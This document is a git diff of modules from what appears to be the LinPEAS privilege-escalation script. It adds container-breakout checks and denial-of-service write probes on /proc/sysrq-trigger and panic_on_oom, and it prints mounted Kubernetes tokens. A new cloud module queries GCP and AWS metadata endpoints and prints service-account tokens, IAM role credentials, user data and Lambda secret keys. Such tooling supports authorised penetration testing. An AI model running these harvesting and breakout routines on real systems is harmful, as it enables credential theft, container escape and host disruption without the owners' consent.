if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi
rm -rf /tmp/cgroup_3628d4 2>/dev/null
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)"
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
}
############################################## ##############################################
#---------------) Containers (---------------# #---------------) Containers (---------------#
@@ -137,6 +184,9 @@ command -v kubectl
command -v podman command -v podman
command -v runc command -v runc
print_2title "Am I Containered?"
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
print_2title "Container details" print_2title "Container details"
print_list "Is this a container? ...........$NC $containerType" print_list "Is this a container? ...........$NC $containerType"
@@ -177,6 +227,7 @@ if echo "$containerType" | grep -qi "docker"; then
if [ "$inContainer" ]; then if [ "$inContainer" ]; then
checkDockerRootless checkDockerRootless
print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
echo ""
fi fi
if df -h | grep docker; then if df -h | grep docker; then
print_2title "Docker Overlays" print_2title "Docker Overlays"
@@ -184,35 +235,117 @@ if echo "$containerType" | grep -qi "docker"; then
fi fi
fi fi
#If token secrets mounted
if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
print_2title "Listing mounted tokens"
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod"
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
fi
if [ "$inContainer" ]; then if [ "$inContainer" ]; then
echo "" echo ""
print_2title "Container & breakout enumeration" print_2title "Container & breakout enumeration"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')" print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')"
if echo "$containerType" | grep -qi "docker"; then if echo "$containerType" | grep -qi "docker"; then
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
fi fi
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
print_list "User proc namespace? ........... "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
checkContainerExploits checkContainerExploits
print_list "Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_3title "Breakout via mounts"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
checkProcSysBreakouts
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
if [ "$EXTRA_CHECKS" ]; then
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
fi
echo ""
print_3title "Namespaces"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
ls -l /proc/self/ns/
if echo "$containerType" | grep -qi "kubernetes"; then if echo "$containerType" | grep -qi "kubernetes"; then
print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
print_2title "Kubernetes Information"
echo "" echo ""
print_2title "Kubernetes Information"
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod"
print_3title "Kubernetes service account folder" print_3title "Kubernetes service account folder"
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
echo "" echo ""
print_3title "Kubernetes env vars" print_3title "Kubernetes env vars"
(env | set) | grep -Ei "kubernetes|kube" (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
echo ""
print_3title "Current sa user k8s permissions"
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles"
kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X 'POST' -H 'Content-Type: application/json' \
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
fi fi
echo "" echo ""
print_2title "Container Capabilities" print_2title "Container Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
if [ "$(command -v capsh)" ]; then
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
else
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
fi
echo "" echo ""
print_2title "Privilege Mode" print_2title "Privilege Mode"
@@ -228,7 +361,7 @@ if [ "$inContainer" ]; then
echo "" echo ""
print_2title "Interesting Files Mounted" print_2title "Interesting Files Mounted"
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
echo "" echo ""
print_2title "Possible Entrypoints" print_2title "Possible Entrypoints"

View File

@@ -0,0 +1,277 @@
###########################################
#-----------) Cloud functions (-----------#
###########################################
GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
GCP_BAD_SCOPES="/cloud-platform|/compute"
exec_with_jq(){
if [ "$(command -v jq)" ]; then
$@ | jq;
else
$@;
fi
}
check_gcp(){
is_gcp="No"
if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
is_gcp="Yes"
fi
}
check_aws_ecs(){
is_aws_ecs="No"
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
is_aws_ecs="Yes";
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
is_aws_ecs="Yes";
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
is_aws_ecs="Yes";
elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
is_aws_ecs="Yes";
fi
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
fi
}
check_aws_ec2(){
is_aws_ec2="No"
if [ -d "/var/log/amazon/" ]; then
is_aws_ec2="Yes"
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
else
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
is_aws_ec2="Yes"
fi
fi
}
check_aws_lambda(){
is_aws_lambda="No"
if (env | grep -q AWS_LAMBDA_); then
is_aws_lambda="Yes"
fi
}
check_gcp
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ecs
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ec2
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_lambda
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
echo ""
if [ "$is_gcp" = "Yes" ]; then
gcp_req=""
if [ "$(command -v curl)" ]; then
gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"'
elif [ "$(command -v wget)" ]; then
gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$gcp_req" ]; then
print_2title "Google CLoud Platform Enumeration"
print_info "https://book.hacktricks.xyz/cloud-security/gcp-security"
## GC Project Info
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
[ "$p_id" ] && echo "Project-ID: $p_id"
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
[ "$p_num" ] && echo "Project Number: $p_num"
pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
[ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
[ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
# OSLogin Info
osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
[ "$osl_u" ] && echo "OSLogin users: $osl_u"
osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
[ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
[ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
[ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
# Instance Info
inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
[ "$inst_d" ] && echo "Instance Description: "
inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
[ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
[ "$inst_id" ] && echo "Instance ID: $inst_id"
inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
[ "$inst_img" ] && echo "Instance Image: $inst_img"
inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
[ "$inst_mt" ] && echo "Machine Type: $inst_mt"
inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
[ "$inst_n" ] && echo "Instance Name: $inst_n"
inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
[ "$inst_tag" ] && echo "Instance tags: $inst_tag"
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
[ "$inst_zone" ] && echo "Zone: $inst_zone"
inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
[ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
[ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
[ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
[ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
[ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
[ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
echo ""
print_3title "Interfaces"
for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
echo ""
print_3title "Service Accounts"
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
echo " ============== "
done
fi
fi
if [ "$is_aws_ecs" = "Yes" ]; then
print_2title "AWS ECS Enumeration"
aws_ecs_req=""
if [ "$(command -v curl)" ]; then
aws_ecs_req='curl -s -f'
elif [ "$(command -v wget)" ]; then
aws_ecs_req='wget -q -O -'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_ecs_metadata_uri" ]; then
print_3title "Container Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
echo ""
print_3title "Task Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
echo ""
else
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
fi
if [ "$aws_ecs_service_account_uri" ]; then
print_3title "IAM Role"
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
echo ""
else
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
fi
fi
if [ "$is_aws_ec2" = "Yes" ]; then
print_2title "AWS EC2 Enumeration"
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_req" ]; then
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
print_3title "Account Info"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
echo ""
print_3title "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
print_3title "IAM Role"
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
print_3title "User Data"
eval $aws_req "http://169.254.169.254/latest/user-data"
fi
fi
if [ "$is_aws_lambda" = "Yes" ]; then
print_2title "AWS Lambda Enumeration"
printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
printf "Region: "; env | grep AWS_REGION
printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
printf "Session token: "; env | grep AWS_SESSION_TOKEN
printf "Security token: "; env | grep AWS_SECURITY_TOKEN
printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
fi

View File

@@ -1,306 +0,0 @@
####################################################
#-----) Processes & Cron & Services & Timers (-----#
####################################################
#-- PCS) Cleaned proccesses
print_2title "Cleaned processes"
if [ "$NOUSEPS" ]; then
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
if [ "$NOUSEPS" ]; then
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps)
else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
cpid=$(echo "$psline" | awk '{print $2}')
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
fi
fi
done
pslist=$(ps auxwww)
echo ""
#-- PCS) Binary processes permissions
print_2title "Binary processes permissions (non 'root root' and not beloging to current user)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
binW="IniTialiZZinnggg"
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
if [ -w "$bpath" ]; then
binW="$binW|$bpath"
fi
done
